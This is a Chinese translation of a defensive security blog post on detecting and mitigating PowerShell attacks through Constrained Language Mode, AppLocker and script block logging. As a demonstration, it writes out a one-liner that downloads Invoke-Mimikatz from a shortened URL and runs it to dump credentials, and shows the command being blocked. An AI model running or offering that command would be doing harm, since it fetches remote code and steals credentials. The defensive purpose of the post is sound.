檢測和緩解PowerShell攻擊的方法

聲明:本文檔由12306Bro個人業餘時間翻譯,個人行爲與公司無任何關係!譯文來源INSIDER THREAT SECURITY BLOG博客站相關文檔。如您對翻譯文檔內容有異議,請將原文文檔做爲主要參考,原文版權由博客站及其相關成員持有並保留。翻譯文章禁止用於任何商業用途,僅供交流與學習。


PowerShell已經發展成爲針對windows系統攻擊的主要方式之一,是攻擊者使用本機工具攻擊的一種方式。對此,我們研究了Empire,DeathStar和CrackMapExec以及這些工具是如何利用PowerShell調用Mimikatz併發起其他攻擊的。在本文中,我們講探討如何檢測和防禦PowerShell攻擊。

PowerShell有何優點?

近些年來,攻擊者偏愛PS的原因有很多,比如:

  • 默認情況下windows系統均有安裝;
  • 它可以從內存執行命令,無需將任何內容寫入磁盤,這使得檢測起來極其困難;
  • 它可以啓動與其他系統的遠程連接;
  • GitHub和其他地方(例如Invoke-Mimikatz)上有很多腳本可供攻擊者使用;
  • 管理員也需要使用它,因此幾乎完全不會禁用它;
  • 很難從惡意PowerShell中分辨出正常的PowerShell;

擁有所有這些好處,作爲防禦者,我們需要更加重視PowerShell並學習如何保護它。讓我們看一些方法。

約束語言模式

Windows PowerShell支持各種語言模式。這些語言模式確定可以使用和不能使用PowerShell的哪些部分以及它們如何與Windows交互。針對Surface RT上的Windows RT操作系統開發了約束語言模式。最終,它被添加到Windows PowerShell V5中,並且可以在現代Windows操作系統上使用。

雖然有多種啓用約束語言的方法,例如以允許模式啓用AppLocker,但最簡單的方法是設置環境變量__ PSLockdownPolicy,這可以通過簡單的腳本來完成。

PS C:\WINDOWS\system32> [Environment]::SetEnvironmentVariable('__PSLockdownPolicy','4', 'Machine')
PS C:\WINDOWS\system32>

運行腳本後,你可以嘗試啓動一個新的PowerShell窗口並執行相關命令:

$ExecutionContext.SessionState.LanguageMode

你可以看到你現在處於“約束語言”模式

PS C:\Users\Xinli> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Users\Xinli>

啓用約束語言模式後,運行諸如Invoke-Mimikatz之類的惡意腳本將不再起作用:

PS C:\Users\Xinli\Desktop\drunkenkatz> Import-Module .\Invoke-Mimikatz.orig.ps1
Import-Module : 在 ConstrainedLanguage 模式下不允許將 *.ps1 文件作爲模塊導入。
所在位置 行:1 字符: 1

Import-Module .\Invoke-Mimikatz.orig.ps1

CategoryInfo          : PermissionDenied: (:) [Import-Module], InvalidOperationException

FullyQualifiedErrorId : Modules_ImportPSFileNotAllowedInConstrainedLanguage,Microsoft.PowerShell.Commands.Import
ModuleCommand

即使使用再狡猾的技術,例如此處描述的從URL下載Invoke- Mimikatz的技術,也將被阻止:

PS C:\Users\Xinli\Desktop\drunkenkatz> powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
New-Object : 無法創建類型。此語言模式僅支持核心類型。
所在位置 行:1 字符: 6

IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); ...

CategoryInfo          : PermissionDenied: (:) [New-Object], PSNotSupportedException

FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand

Invoke-Mimikatz : 無法將“Invoke-Mimikatz”項識別爲 cmdlet、函數、腳本文件或可運行程序的名稱。請檢查名稱的拼寫,如果包括
路徑,請確保路徑正確,然後再試一次。
所在位置 行:1 字符: 71

... lient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCr ...

CategoryInfo          : ObjectNotFound: (Invoke-Mimikatz:String) [], CommandNotFoundException

FullyQualifiedErrorId : CommandNotFoundException

使用AppLocker禁用PowerShell和腳本

AppLocker隨Windows 10 Enterprise一起提供,並提供了一種將應用程序和腳本列入白名單的有用方法。可以在系統上本地配置,也可以通過組策略配置。

創建AppLocker策略時,可以將它們應用於文件,可執行文件,腳本和打包的應用程序。有關每個方面的詳細信息,請參閱TechNet上的有用信息

出於安全的目的,你可以使用腳本規則策略,使用簡單的PowerShell腳本爲指定文件夾創建允許規則。這將確保只能執行此文件夾中的文件。

您還可以使用可執行規則來限制可以通過文件路徑或簽名執行的文件。如果爲PowerShell和PowerShell_ISE創建簽名規則,則可以限制非管理員以這種方式運行PowerShell。應當指出,這很容易被攻擊者繞開,因爲正如我們在PowerShell Empire工具中看到的那樣,可以在沒有PowerShell.exe的情況下運行PowerShell。 PowerShell的團隊提供了一個關於PowerShell的藍隊手冊,請參與這裏

使用腳本塊日誌記錄檢測惡意PowerShell

PowerShell V5引入了幾種跟蹤惡意PowerShell的新方法。在這篇文章中重點介紹的是腳本塊記錄。默認情況下,PowerShell V5會啓用此級別的日誌記錄,並提供由PowerShell執行的完整腳本的明文日誌記錄。這很有用,因爲許多攻擊將利用難以破解的編碼腳本。

此處因能力有限,未做復現,大致講一下思路。即利用Out-EncodedCommand進行Base-64編碼併爲PowerShell有效負載腳本生成命令行輸出。但是,PowerShell事件日誌仍然可以準確地看到我們運行的內容,而無需進行任何編碼。

參考鏈接

原文檢測和緩解PowerShell攻擊的方法:https://blog.stealthbits.com/ways-to-detect-and-mitigate-powershell-attacks

一句powershell調用mimikatz抓密碼:https://www.waitalone.cn/powershell-mimikatz.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章